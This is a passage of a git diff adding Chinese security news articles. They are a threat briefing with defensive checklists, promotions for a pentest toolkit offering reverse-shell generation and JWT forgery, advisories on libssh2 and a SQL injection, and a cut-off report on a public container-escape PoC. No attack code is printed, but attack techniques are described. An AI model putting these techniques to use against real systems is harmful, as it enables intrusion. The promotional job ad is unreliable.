检查企业邮箱中来自合法SaaS通知地址的批量邀请、异常Owner/Admin授权和非公司域名管理员信息。 + +- 对安全、研发、销售、法务、高管助理等高敏岗位确认是否加入过非企业正式管理的AI工作区。 + +- 回溯是否有敏感资料被上传到非企业批准的AI组织、项目空间、共享聊天或外部协作环境。 + +加固建议 +- 建立AI工作区官方组织清单，明确公司允许加入的租户名称、管理员、域名和审批流程。 + +- 对员工宣导“来自合法平台的邀请不等于可信组织”，要求所有异常组织邀请先经IT或安全团队确认。 + +- 使用CASB、SSO日志、浏览器审计或邮件规则监测非授权AI平台组织加入行为。 + +- 对已误加入可疑租户的员工立即退出组织，清理共享内容，评估已输入数据范围并执行必要的客户和合规处置。 + +参考来源 + +https://www.bleepingcomputer.com/news/security/cybersecurity-firms-targeted-by-fraudulent-openai-organization-invites/ + + +风险四：npm包结合VS Code自动任务投递窃密链，开发者“打开项目”本身成为执行触发点 + +JFrog披露两个被劫持的npm包html-to-gutenberg和fetch-pacage-assets被用于多阶段投递，攻击链利用VS Code工作区任务自动触发，并通过外部链路分发后续载荷。该类攻击对企业研发团队的启示很直接：供应链风险不再只发生在npm install或构建阶段，IDE打开目录、自动任务、AI编码工具初始化、预览插件和本地脚本也可能成为执行边界。 + +建议排查 +- 在代码仓库和开发终端中搜索是否出现html-to-gutenberg、fetch-pacage-assets及相关异常版本或缓存包。  + +- 检查仓库内.vscode/tasks.json、IDE自动任务、工作区配置、隐藏脚本和异常二进制/字体/资源文件。  + +- 排查开发机近期是否出现异常Node/Python进程、外联域名、浏览器凭据访问、钱包文件访问和环境变量读取行为。 + +- 对最近从外部接收的开源项目、插件模板、WordPress/Gutenberg相关项目做一次依赖和工作区配置复核。 + +加固建议 +- 禁用或限制IDE在打开文件夹时自动执行任务，至少要求开发者对外部仓库进行显式确认。 + +- 对开发机启用EDR、DNS日志、进程命令行审计和敏感文件访问监控，覆盖IDE子进程。 + +- 在代码评审和供应链扫描中纳入.vscode、.idea、MCP配置、Agent配置和本地任务脚本。 + +- 对疑似受影响开发机轮换npm、GitHub、云平台、代码仓库、包管理器和CI/CD相关Token。 + +参考来源 + +https://thehackernews.com/2026/06/hijacked-npm-and-go-packages-use-vs.html + + +风险五：KDDI邮箱系统事件或影响1422万账号，跨服务凭据复用和邮件接管风险需前置处理 + +日本电信运营商KDDI披露其为多家ISP提供的邮件系统遭未授权访问，公开报道称可能影响最高约1422万组邮箱账号信息，事件与第三方软件漏洞有关。邮箱账号一旦泄露，后续风险通常不是单一邮箱被登录，而是围绕密码复用、找回密码、账单通知、企业供应商邮件、钓鱼再投递和身份冒用持续扩散。 + +建议排查 +- 识别企业员工、供应商、外包人员是否使用受影响ISP邮箱作为工作联络、备用邮箱或第三方系统找回邮箱。 + +- 在身份平台、VPN、SaaS、代码仓库和财务系统中检查是否存在与受影响个人邮箱绑定的账号。 + +- 监测近期来自日本ISP邮箱域的异常登录、邮件规则变更、OAuth授权、转发规则和大批量发信行为。 + +- 对被用于业务往来的外部邮箱联系人建立风险标记，警惕付款变更、合同修改、附件替换和链接投递。 + +加固建议 +- 要求相关员工和外部合作人员立即更换邮箱密码，并避免与企业系统、VPN、SaaS账号复用密码。 + +- 对企业关键系统启用MFA和异常位置登录风控，禁止个人邮箱作为高权限账号唯一恢复渠道。 + +- 对供应商付款、银行账号、合同附件和账号恢复请求执行二次人工核验。 + +- 将大规模邮箱泄露纳入钓鱼预警，提前更新邮件网关、EDR和身份平台检测策略。 + +参考来源 + +https://www.bleepingcomputer.com/news/security/data-breach-exposes-up-to-142-million-email-logins-at-six-isps/ + + +风险六：Polymarket前端依赖供应链事件造成资金损失，金融类Web应用需复核第三方脚本权限 + +Polymarket确认第三方供应商被入侵后，攻击者向其前端注入恶意脚本，公开报道称部分用户资金损失约300万美元。该事件对企业Web系统具有通用警示意义：即使核心后端和智能合约未被直接攻破，只要前端加载的第三方脚本、分析组件、客服组件、支付组件或依赖包可在用户浏览器中执行，就可能影响交易授权、登录会话、表单数据和用户信任。 + +建议排查 +- 盘点企业官网、SaaS门户、支付页面、客户后台、运营管理台加载的第三方JavaScript、SDK、Tag和CDN资源。 + +- 检查金融交易、钱包、订单、支付、合同签署、身份验证等页面是否允许第三方脚本读取或影响关键操作。 + +- 排查近期前端构建产物、CDN缓存、标签管理系统、供应商脚本版本和上线审批记录是否异常。 + +- 监测用户侧异常交易、异常授权、表单字段被篡改、浏览器控制台报错和前端资源哈希变化。 + +加固建议 +- 对关键页面实施第三方脚本最小化，能下线的下线，必须保留的按域名、路径、版本和用途建立白名单。 + +- 对外部脚本启用SRI、CSP、版本锁定、变更审批和上线后完整性监控。 + +- 对高价值操作增加服务端校验、交易摘要确认、风险二次验证和异常行为阻断，避免完全信任前端展示。 + +- 与关键供应商明确安全通知、代码变更、依赖更新、入侵通报和取证协作时限。 + +参考来源 + +https://www.bleepingcomputer.com/news/security/polymarket-customers-lose-3-million-in-supply-chain-attack/ + + +**PART.****02** + + +总体处置建议 +‍ +‍ +‍ + +今天企业应优先关注三条风险线：Linux内核本地提权带来的入侵后放大风险，AI编码工具、IDE任务和npm包引入的开发终端执行风险，以及SaaS租户、邮箱账号和前端第三方脚本带来的身份与数据外泄风险。拥有Linux生产集群、容器平台、云开发团队、AI协作工作区、Web交易页面和大量外部邮箱往来的企业，建议把今天的排查重点放在补丁闭环、开发环境隔离、租户归属确认和第三方脚本治理上。 + + +整体风险处置建议 +- 以CVE-2026-43503为优先项建立Linux内核修复清单，先处理容器宿主机、CI节点、互联网业务节点和多用户服务器。 + +- 对AI编码助手、IDE插件、MCP配置、工作区自动任务和开发者云凭据做一次统一治理，禁止仓库配置默认获得执行能力。 + +- 对企业AI工作区、SaaS组织邀请、个人邮箱绑定和外部协作账号建立可核验的官方清单。 + +- 对npm、GitHub、云平台、CI/CD、包管理器和开发终端凭据实施最小权限、短期化和异常访问告警。 + +- 对面向客户的Web前端清点第三方脚本和供应商依赖，优先保护登录、支付、交易、合同和资料上传页面。 + +- 对今天涉及的系统保留登录、进程、DNS、云API、前端资源变更和供应商通知记录，便于后续发现异常时快速回溯。 + +合规说明：以上内容基于公开信息整理，仅用于网络安全防护与管理决策参考，具体影响范围与修复方式请以厂商官方公告为准。 + + +![](https://mmbiz.qpic.cn/mmbiz_png/iaPgUxMqaSAhoh0qmQmVFSZR5CZH6zqTtXJAnxcsIYOGT6gdZxjJicvloaqjr7XhADDbc0IfHy7SYHoDKfQR3bwwRZoz58vxD8YkL4E1S6uKA/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_jpg/iaPgUxMqaSAjLgib6qPpqOw0kZlYBRwrY4qLM4trxNBkSLlZECbuuGKGnia3DwZZQC5lGe1z03Dqc22xCwc0UrhAHkJiaLQdKpCz24b18P4B6Ow/640?wx_fmt=jpeg&from=appmsg "") + + diff --git a/doc/2026-06/安全工具丨一款本地离线可用的可视化渗透测试与漏洞挖掘平台.md b/doc/2026-06/安全工具丨一款本地离线可用的可视化渗透测试与漏洞挖掘平台.md new file mode 100644 index 00000000..a9401857 --- /dev/null +++ b/doc/2026-06/安全工具丨一款本地离线可用的可视化渗透测试与漏洞挖掘平台.md @@ -0,0 +1,65 @@ +# 安全工具丨一款本地离线可用的可视化渗透测试与漏洞挖掘平台 +原创 蓝星安全 + 蓝星安全 蓝星安全 2026-06-29 22:00 + +        +**点击上方****蓝星安全****关注我** + +**** + +**免责声明：本公众号分享的任何资料仅限用于安全学习，严禁用于其他用途，请严格遵守中华人民共和国法律法规，对因不遵守国家法律法规而产生的任何后果，均由个人自行承担，本公众号不承担任何责任！** + +**** +**获取资料，请扫码下方二维码加入知识星球** + +![](https://mmbiz.qpic.cn/mmbiz_png/opKHaHXLxcmxg12rU33pwcICNRkiaof5YSUAGfWPApU7M1BfdsTTOyvREw0gKD42g4U8eefG4n0XuYETEtbxSIN2drACnNVz3UeicCcldM5AA/640?wx_fmt=png&from=appmsg "") +## 一、简介 + +       ARS3NAL（是一个**本地优先、离线可用** +的渗透测试与漏洞赏金工具集。它将渗透测试中常用的各类资源整合到一个应用程序中，包括**payloads、命令生成器、GTFOBins、wordlists、嵌入式CyberChef、反弹shell、checklists以及项目跟踪器** +。与许多依赖云端的工具不同，**ARS3NAL的所有数据都存储在本地SQLite数据库中** +，无需账户、无遥测、无云依赖，确保你的测试数据完全由自己掌控 +。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/opKHaHXLxcnNWylozp8e6auibY1px3bGnwWLPlWCLkPjZeibHPGFSgBLuPYic5sv9la18xnLotl1NzE2RUs8nqbNdBbPibVX6qyticWEs1kljjBI/640?wx_fmt=png&from=appmsg "") +## 二、核心功能亮点 +### 2.1 攻击链（Attack Chains）：从发现到利用的清晰路径 + +这是ARS3NAL v1.1.0版本的新增功能。它提供了**92条精心策划的攻击链，覆盖11个领域** +（如IDOR、注入、OAuth/SSO、SSRF、XSS/CSRF、文件上传/LFI、API/GraphQL等） +。 + +每条攻击链都按难度等级（新手/中级/高级）标记，并且每一步都包含具体目标和可执行的payload或命令。你只需粘贴自己的测试账户或客户端ID，攻击链中的步骤就会自动填充，形成一条清晰的攻击路径 +。 + +![](https://mmbiz.qpic.cn/mmbiz_png/opKHaHXLxcn8JMflPccfWmxONfh90kOHoXiav1LpY48XcmeUyOlfJ6H4J8PjZKglFAeAibkTlTWicQY5YEiaYjwECxlesC3AeucOvDP8MOdYfmY/640?wx_fmt=png&from=appmsg "") +### 2.2  命令生成器：点击即生成 + +这是ARS3NAL的核心功能之一。**支持59种工具的图形化命令构建** +，包括nmap、ffuf、sqlmap、gobuster、hashcat等。你只需点击勾选需要的参数选项，命令便会自动组装，并附有每个参数的详细说明（支持中英文切换） +。 + +更智能的是，你可以在顶部栏一次性设置**目标IP（TARGET）和本地IP（LHOST）** + ，这些变量会自动替换到所有工具的命令示例中，彻底告别手动修改IP的繁琐流程 +。 +### 2.3 GTFOBins与反弹shell生成器 + +**内置了全部458个GTFOBins条目** +，可按功能（如shell、文件读取、sudo、SUID等）进行筛选过滤，并且每条技巧都提供了英文和俄文说明 +。反弹shell生成器支持生成**reverse/bind/msfvenom** +等多种类型的shell，并集成了编码选项（base64/URL/PowerShell），LHOST同样全局共享 +。 +### 2.4  离线攻击实验室 + +ARS3NAL提供了**交互式的OAuth/SSO和JWT攻击实验室** +。它能在浏览器端模拟构建恶意授权URL（含redirect_uri绕过、PKCE降级、CSRF等攻击手法），以及进行JWT令牌的伪造（如alg:none攻击、RS256转HS256密钥混淆、kid路径遍历等），所有操作都在本地完成 +。 +### 2.5 报告模板与项目跟踪 + +内置了针对不同漏洞类型（如IDOR、OAuth ATO、SSRF、XSS、SQLi、RCE等）的**报告骨架** +，预填了CWE编号和CVSS 3.1向量。你可以将当前项目目标和上下文令牌一键替换到报告中，并导出为Markdown格式 +。 +## 三、立即获取 + +https://github.com/inflictx/Arsenal + diff --git a/doc/2026-06/已入职宇树网络安全岗，这点面试真的水∕网安挖漏洞，日入两千六有多爽,一篇总结所有平台....md b/doc/2026-06/已入职宇树网络安全岗，这点面试真的水∕网安挖漏洞，日入两千六有多爽,一篇总结所有平台....md new file mode 100644 index 00000000..293d4791 --- /dev/null +++ b/doc/2026-06/已入职宇树网络安全岗，这点面试真的水∕网安挖漏洞，日入两千六有多爽,一篇总结所有平台....md @@ -0,0 +1,31 @@ +# 已入职宇树网络安全岗，这点面试真的水/网安挖漏洞，日入两千六有多爽,一篇总结所有平台... +ice_[旺柴]qaq + ice_[旺柴]qaq Ice ThirdSpace 2026-06-30 02:00 + +    放眼未来，AI安全将成为核心赛道。作为人形机器人领域的头部玩家，宇树必须把安全底座夯实到位，下面是我为 +安全岗位面试整理的一些资料 +。 + + + +![](https://mmbiz.qpic.cn/mmbiz_png/ez2iaBVJVGbWaX8VbhPC95C99zjXPD0k5jRCAacBs2MTER8KXEEBm1RloAvxodnYotLf2G4GicDBHCmVsAHlUyWIPPkIlM5uJLbwhP2qVOQFA/640?wx_fmt=png&from=appmsg "") + + +![](https://mmbiz.qpic.cn/mmbiz_png/ez2iaBVJVGbVBbQlrZAJgB6C6bpKb8qWVrZME8frZLEgFwBlycQ20DRTvNjrZwFJZtI8rEphncSbicE58aFs7w46ARJxxIkcfjibmZuQ6KvVCQ/640?wx_fmt=png&from=appmsg "") + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/ez2iaBVJVGbXEQV62wN53BHbyBxkIdCufsbUSWic7jNiaMqZlxPPYmupwXVicUmMdwnQEGOvViacakic1op2Nvrf2Y0pMCzlZczVkPCwOiamVIVhibk/640?wx_fmt=png&from=appmsg "") + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/ez2iaBVJVGbVSMFaoiaGLGILwsgpjAuXDMkxuuQJib0VK22WpDia2MAegBPGzAzuGzUthp9NTm8gJEND7s9E5AC3AJShjW0zhpnOnpPg2CDcmJY/640?wx_fmt=png&from=appmsg "") + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/ez2iaBVJVGbWicAh1B54QnFYTzc7vew9OiboL2SBZnyPMYP2kdhC7FwGvGdWbKic73NDs1rBHBjja6HGx5dMDqhtGMiah0Uf4w5mczbdQzSvTAk0/640?wx_fmt=jpeg&from=appmsg "") + + +本人大厂网络安全攻防岗在职，大厂核心岗月入4w十，网络安全人才急缺，抽空带几个朋友，从0-1搞定网络安全全路程，二套路。可以教渗透测试实战，漏洞挖掘与修复，网络安全防护等，学会了带你挖漏洞兼职。 + +要求:·每天有空闲时间学习，有需要的点我头像关注一下+丝信888就行! + + + diff --git a/doc/2026-06/开源企业级主机与容器安全管理平台 安全基线、资产管理、漏洞扫描、病毒查杀、EDR 检测与合规审计.md b/doc/2026-06/开源企业级主机与容器安全管理平台 安全基线、资产管理、漏洞扫描、病毒查杀、EDR 检测与合规审计.md new file mode 100644 index 00000000..dd3adb6b --- /dev/null +++ b/doc/2026-06/开源企业级主机与容器安全管理平台 安全基线、资产管理、漏洞扫描、病毒查杀、EDR 检测与合规审计.md @@ -0,0 +1,85 @@ +# 开源企业级主机与容器安全管理平台 | 安全基线、资产管理、漏洞扫描、病毒查杀、EDR 检测与合规审计 +matrixplusio + matrixplusio 夜组安全 2026-06-29 23:30 + +免责声明 + +由于传播、利用本公众号夜组安全所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，公众号夜组安全及作者不为此承担任何责任，一旦造成后果请自行承担！如有侵权烦请告知，我们会立即删除并致歉。谢谢！ +**所有工具安全性自测！！！VX：** +**NightCTI** + +朋友们现在只对常读和星标的公众号才展示大图推送，建议大家把 +**夜组安全** +“**设为星标** +”， +否则可能就看不到了啦！ + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/icZ1W9s2Jp2WrOMH4AFgkSfEFMOvvFuVKmDYdQjwJ9ekMm4jiasmWhBicHJngFY1USGOZfd3Xg4k3iamUOT5DcodvA/640?wx_fmt=png&from=appmsg "") + +## 工具介绍 + +开源的企业级主机与容器安全管理平台。覆盖安全基线、资产管理、漏洞扫描、病毒查杀、EDR 检测与合规审计，面向安全运营团队提供统一管控视图。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/WibL3bOeESML0Q2IGoE1yxHoymm0ycZaC5MffVLjiab7nBuqe9avnetCJUgnduxVfyY58gpyR8HrVbnVGD1icTeibKkfBkFBEdYKVeL4R49GkOc/640?wx_fmt=jpeg&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_jpg/WibL3bOeESMKNpkzBxNO7oHmWqzozoQ98qYFiadVAGgQia4QicswiaARLibHDAEkqzwObYCDedicPVH8g8ibnwDUeF2CA6xYj5Z8XNe8QlrCIEVd44Q/640?wx_fmt=jpeg&from=appmsg "") +## 社区版说明 + +MxCwpp Platform **社区版** + 包含完整的平台框架和全部核心安全能力，与内部版本架构一致。社区版完全免费，无需授权即可部署使用。当前已开源的能力主要包括： +- **全部端上能力** +：Agent 数据采集、资产指纹、eBPF 运行时探针、基线检查插件等； + +- **全部后端能力** +：AgentCenter、Manager、Consumer、服务发现，均支持水平扩展； + +- **完整管理控制台** +：安全概览、资产中心、告警管理、基线检查、漏洞管理、容器安全等全功能 UI； + +- **内置检测规则** +：212 条 CIS 基线规则、80 条容器基线规则、CEL EDR 检测策略样例。 + +## 功能概览 + +
模块
说明
安全基线
9 种检查器、212 条规则，覆盖 CIS Benchmark 核心项，支持单机/批量自动修复
资产中心
11 类资产采集（进程、端口、用户、软件包、容器等），关系计算与资产导出
漏洞管理
软件包 PURL 采集 + OSV.dev 匹配 + CVSS v3.1 评分 + SBOM 导出
病毒查杀
ClamAV + YARA-X 双引擎扫描，任务管理 + 隔离箱处置
文件完整性
基于 AIDE 的 FIM 检查，策略、事件、任务全链路闭环
EDR 检测
Tetragon/eBPF 事件采集 + CEL 规则引擎 + MITRE ATT&CK 映射
容器安全
K8s 集群管理、容器 CIS 基线（80 条规则）、Audit Webhook 接入
告警中心
告警聚合、白名单、自动响应（kill/隔离）、溯源时间线
威胁情报
MISP IOC 导入 + Redis 缓存 + CEL 实时碰撞
内存取证
memfd_exec / 进程镂空 / shellcode 注入 / LSASS dump 检测（EDR-3）
AD/LDAP 审计
7 条检测规则：DCSync、Kerberoasting、暴力破解、非工时 RDP、特权分配等（EDR-4）
蜜罐传感器
SSH/HTTP 蜜罐 + 文件诱饵 + 合法备份工具白名单（C1）
Rootkit 检测
DKOM 隐藏 PID / 内核模块 / 端口 / LD_PRELOAD / /proc 不一致（C2）
威胁狩猎
SPL 风格 DSL → SQL 转译，跑在 ClickHouse 事件归档上
VEX 导出
CycloneDX VEX 1.5 + CSAF 2.0 给客户出具厂商漏洞声明（B7）
+## 产品截图 + +![](https://mmbiz.qpic.cn/mmbiz_jpg/WibL3bOeESMJ7aP30k62SrPL3Zhnt8E3oQHMm21HBBlm7He3WibgsAR6dfibpUOHDZrCR5ibuoq5q3BphAnSZ4CvwsmhTVrichBeFus6rXacDgVo/640?wx_fmt=jpeg&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_jpg/WibL3bOeESMIcmd3rFsgQj5ial5CBJnClq7vc1ibseCXgaBxibB2Y1POjxoMa3icUNJ9V3nf8yxIWvdxUHCHp4LUeVZA7SHOcLiaLtpWqPiaG8DqjI/640?wx_fmt=jpeg&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_jpg/WibL3bOeESMKqib3Zb9BN6Oz5mlh8bfUK4qFMMJau0swmmdJQ8dOPE0lr5D0sib9qCrKBhdoZMaic9nvViaJFQX2yGguAWhQmo1cdOKmhoDAsRuw/640?wx_fmt=jpeg&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/WibL3bOeESMLpegMzyC8RrlWgXJaKrmcjyqibqco09pbBG7l5p55lLFlURic9vfmbFHbsocAdMbSFUoAEINFv9FcjPCyUwZ74cyfux9Cd5FxU4/640?wx_fmt=jpeg&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/WibL3bOeESMLjLian7Nu9KB0hQ1RibCia01G6dMpiak0aWD7BfLBeScaStl9hsXoCOXsjeZZH5VhstarqGTAg8QCuPaGEdTyKxaI8dkrn5qvXspo/640?wx_fmt=jpeg&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_png/WibL3bOeESMLlzRJBVOoKvqT570Z53vqrGbtLqkdGxogUK0C4HmI8BB2DctkzWVyIxKzlmMRYRaqNia40ODciaNopsg57aRh9CNhR7HI0WIx1c/640?wx_fmt=png&from=appmsg "") + + +## 工具获取 + + + +点击关注下方名片 +进入公众号 + +回复关键字【 +260630 +】获取 +下载链接 + + +## 往期精彩 + + +[一款针对Spring漏洞框架进行快速利用的图形化工具2026-06-29](https://mp.weixin.qq.com/s?__biz=Mzk0ODM0NDIxNQ==&mid=2247497150&idx=1&sn=7c61498269bf756cb7458a57f4b0c830&scene=21#wechat_redirect) +[Cybersparker 攻击面管理利用系统2026-06-26](https://mp.weixin.qq.com/s?__biz=Mzk0ODM0NDIxNQ==&mid=2247497140&idx=1&sn=a7a4a46aa3ac30c9fa272db02d9be953&scene=21#wechat_redirect) +[LLM SecRange · 大模型攻防渗透测试靶场2026-06-25](https://mp.weixin.qq.com/s?__biz=Mzk0ODM0NDIxNQ==&mid=2247497129&idx=1&sn=d3dd59233be71fa4c0d3ed5743399f42&scene=21#wechat_redirect) +[AI赋能！一个面向 Windows 主机应急响应场景的轻量化图形客户端2026-06-24](https://mp.weixin.qq.com/s?__biz=Mzk0ODM0NDIxNQ==&mid=2247497117&idx=1&sn=fc03d0dca0f45a9b05098f2e7f6369b9&scene=21#wechat_redirect) +[OpenCode CNVD 多 Agent 插件 | 用于授权场景下的 CNVD 漏洞挖掘2026-06-23](https://mp.weixin.qq.com/s?__biz=Mzk0ODM0NDIxNQ==&mid=2247497103&idx=1&sn=6f70d409f0a09b65704ae3c5ad0ec1b2&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/mmbiz_png/OAmMqjhMehrtxRQaYnbrvafmXHe0AwWLr2mdZxcg9wia7gVTfBbpfT6kR2xkjzsZ6bTTu5YCbytuoshPcddfsNg/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&random=0.8399406679299557&tp=webp "") + diff --git a/doc/2026-06/成为CNNVD漏洞库支撑单位，助力网络安全！申请全流程解读，专业团队助您高效通过.md b/doc/2026-06/成为CNNVD漏洞库支撑单位，助力网络安全！申请全流程解读，专业团队助您高效通过.md new file mode 100644 index 00000000..e3091c44 --- /dev/null +++ b/doc/2026-06/成为CNNVD漏洞库支撑单位，助力网络安全！申请全流程解读，专业团队助您高效通过.md @@ -0,0 +1,140 @@ +# 成为CNNVD漏洞库支撑单位，助力网络安全！申请全流程解读，专业团队助您高效通过 +原创 聚焦网络安全情报 + 聚焦网络安全情报 安全聚 2026-06-30 02:52 + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/Icw1mW4eH3fGjq28SHy79SEcdRGT7ZsCxicdkcJevVicIVGdZBR0dYjze8G3YwUEkcH9WgQ1KhficepoIpSk64Atw/640?wx_fmt=gif&from=appmsg "") + + +**** +**** + + +网络安全已成为国家战略的重要组成部分，作为国内权威漏洞信息管理平台，CNNVD（中国国家信息安全漏洞库）支撑单位的资质认证，是企业技术实力与行业影响力的重要体现。如果您希望快速掌握申请流程、高效完成资质申报，本文将为您详细解读，并提供专业服务支持！ + + +**01 CNNVD支撑单位价值** + + + + + + + +权威背书： +纳入国家漏洞库合作体系，提升企业行业公信力； + +技术认可： +体现漏洞挖掘、分析、处置能力，增强客户信任； + +政策红利： +参与投标网络安全项目加分，拓展业务合作机遇； + +品牌曝光： +通过CNNVD官网、会议等渠道展示企业实力。 + + +**02 申请流程详解（核心步骤）** + + + + + + + +阶段一：战略筹备期 + +对《CNNVD技术支撑单位计划指南》完成分析 + +✅ 申请单位的基本情况 + +✅ 组织结构 + +✅ 人员情况 + +✅ 技术能力 + +✅ 与CNNVD和测评中心的合作情况 + +✅ 针对支撑要求的工作规划 + +专业建议： +需提前6个月布局漏洞提交记录，确保考察期贡献密度达标。 + +阶段二：贡献考察期（3-6个月） + +漏洞质量管控： +报送原创通用漏洞，重点提交中高危漏洞 + +安全预警： +报送预警报告（含POC验证、影响面评估、修复方案） + +协作效能提升： +建立与CNNVD的应急响应，同步漏洞处置进展 + + +阶段三：专家评审协议签定 + +考察期结束后，CNNVD将召开技术支撑单位申请专家评审会，审核结果将通知申请单位。通过审核的单位将签订支撑单位合作协议。协议签订后， +CNNVD将向技术支撑单位颁发有效期为一年的证书。 + +**03 团队服务优势** + + + + + + + +✅ 精准预评估：免费预审企业资质，明确优化方向； + +✅ 材料专业化：资深团队定制申报方案，突出技术亮点； + +✅ 全流程办理：从资料整理到申报跟进，省心高效； + +✅ 高通过率保障：熟悉申请流程，确保每个申请能够顺利下证。 + +团队可通过现场或远程培训与指导，协助企业在规定时间内顺利完成支撑单位申请。 + + +**04 联系我们** + + + + + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/Icw1mW4eH3elOibgzqIS4H0a3icZwx81vA9ticYKy2XUfMZZwVHnVOp3Wh912W31o16SzcialF9NcD02TsL8VPcDjg/640?wx_fmt=jpeg "") + + + + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/Icw1mW4eH3fGjq28SHy79SEcdRGT7ZsCRtb8nIoYiadnGwptIJHdeGVOEEFuibuXZBhMvw8OmlsMJB7kG0zuazgA/640?wx_fmt=gif&from=appmsg "") + +**END** + + + +**HISTORY** + +/ + +**往期推荐** + +[【漏洞预警 | 已复现】FOGPROJECT 文件名命令注入漏洞（CVE-2024-39914）](http://mp.weixin.qq.com/s?__biz=MzkyNzQzNDI5OQ==&mid=2247486405&idx=1&sn=dfa7ce2bc783c81365d21815a76f39c7&chksm=c2295891f55ed187a1c520ff138341f0545969a30a8bd8b57fb8c3182e68a6cac2b42f0db546&scene=21#wechat_redirect) + + + +[【漏洞预警 | 已复现】Apache OFBiz远程代码执行漏洞（CVE-2024-38856）](https://mp.weixin.qq.com/s?__biz=MzkyNzQzNDI5OQ==&mid=2247486484&idx=1&sn=3e0f106d2ce17f16075690444c6ad16d&scene=21#wechat_redirect) + + + + +[【漏洞预警 | 已复现】Splunk Enterprise 未授权任意文件读取漏洞（CVE-2024-36991）](http://mp.weixin.qq.com/s?__biz=MzkyNzQzNDI5OQ==&mid=2247486420&idx=3&sn=3bd4ad9b9aa9e27629eef92cc1a0e00e&chksm=c2295880f55ed1964f7229ce709929430b9a56882028fa882a69bca86e0c0bac01fde5de06bb&scene=21#wechat_redirect) + + + +[【漏洞预警 | 已复现】Rejetto HTTP File Server 模板注入漏洞（CVE-2024-23692）](http://mp.weixin.qq.com/s?__biz=MzkyNzQzNDI5OQ==&mid=2247486420&idx=2&sn=6c8f1e5428b1c3713ad1aa32231c1de8&chksm=c2295880f55ed1961e9c9e36cc89c9e1c4377ce7b755e3c85b5475fc8a97dcfbe0d68db96264&scene=21#wechat_redirect) + + + + diff --git a/doc/2026-06/漏洞预警 libssh2整数溢出漏洞.md b/doc/2026-06/漏洞预警 libssh2整数溢出漏洞.md new file mode 100644 index 00000000..222f279c --- /dev/null +++ b/doc/2026-06/漏洞预警 libssh2整数溢出漏洞.md @@ -0,0 +1,44 @@ +# 漏洞预警 | libssh2整数溢出漏洞 +浅安 + 浅安 浅安安全 2026-06-30 00:00 + +**0x00 漏洞编号** +- # CVE-2026-55200 + +**0x01 危险等级** +- 高危 + +**0x02 漏洞概述** + +libssh2是使用最广泛的SSH客户端C库之一，被大量主流工具直接或间接依赖。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/NQlfTO30Mhx62ssooHX63liaZaKd6BY4bNkzy8CmC1bQ0Bst038zjekkZAtR1D1aTVB3C3tNVpPJeyL5AP34YXcjVgsFca7aonfvyfGYJ3Ro/640?wx_fmt=png&from=appmsg "") + +**0x03 漏洞详情** + +**CVE-2026-55200** + +**漏洞类型：** +整数溢出 + +**影响：** +执 +行任意代码 + +**简述：** +libssh2存在整数溢出漏洞，由于其ssh2_transport_read()函数未能正确验证传入SSH数据包的packet_length字段，攻击者可提供过大的packet_length值，触发整数溢出并导致堆越界写入，从未获取代码执行权限。 + +**0x04 影响版本** +- libssh2 <= 1.11.1 + +**0x05****POC状态** +- 已公开 + +**0x06****修复建议** + +**目前官方已发布漏洞修复版本，建议用户升级到安全版本****：** + +https://libssh2.org/ + + + diff --git a/doc/2026-06/漏洞预警 孚盟云SQL注入漏洞.md b/doc/2026-06/漏洞预警 孚盟云SQL注入漏洞.md index 1f0763f5..b7e7f195 100644 --- a/doc/2026-06/漏洞预警 孚盟云SQL注入漏洞.md +++ b/doc/2026-06/漏洞预警 孚盟云SQL注入漏洞.md @@ -1,6 +1,6 @@ # 漏洞预警 | 孚盟云SQL注入漏洞 浅安 - 浅安 浅安安全 2026-06-22 23:50 + 浅安 浅安安全 2026-06-30 00:00 **0x00 漏洞编号** - # 暂无 @@ -24,7 +24,7 @@ SQL注入 **简述：** 孚盟云的 -/m/Dingding/Product/ProductDetail.aspx +/m/Dingding/Provider/ProviderList.aspx 接口存在SQL注入漏洞，未经验证的攻击者可通过该漏洞获取数据库敏感信息。 **0x04 影响版本** diff --git a/doc/2026-06/针对 RHEL 10 上 IPV6_FRAG_ESCAPE 漏洞的公开 PoC 与利用细节已发布.md b/doc/2026-06/针对 RHEL 10 上 IPV6_FRAG_ESCAPE 漏洞的公开 PoC 与利用细节已发布.md new file mode 100644 index 00000000..df918320 --- /dev/null +++ b/doc/2026-06/针对 RHEL 10 上 IPV6_FRAG_ESCAPE 漏洞的公开 PoC 与利用细节已发布.md @@ -0,0 +1,54 @@ +# 针对 RHEL 10 上 IPV6_FRAG_ESCAPE 漏洞的公开 PoC 与利用细节已发布 +sec随谈 + sec随谈 sec随谈 2026-06-30 01:33 + +**安全研究员 Massimiliano Oldani 发布 IPV6_FRAG_ESCAPE：针对 CentOS 与 RHEL 10 的 IPv6 容器逃逸概念验证** + +安全研究员 Massimiliano Oldani 发布了 IPV6_FRAG_ESCAPE——一个针对 CentOS 和 RHEL 10 的 IPv6 容器逃逸(container escape)的可用概念验证(PoC)。其利用细节和 PoC 代码现已公开。该攻击链能将隔离容器内一个非特权进程,提升为宿主机上的 root shell（最高权限命令行）。 + +**摘要** + +IPV6_FRAG_ESCAPE 利用了 Linux 内核中一个现已修复的 IPv6 分片(fragmentation)漏洞。该缺陷位于 __ip6_append_data() + 函数中,会破坏数据包自身的 skb_shared_info + 结构。Oldani 公开发布了完整的攻击链,该漏洞未被分配 CVE 编号。 + +**这个 IPv6 容器逃逸为何重要** + 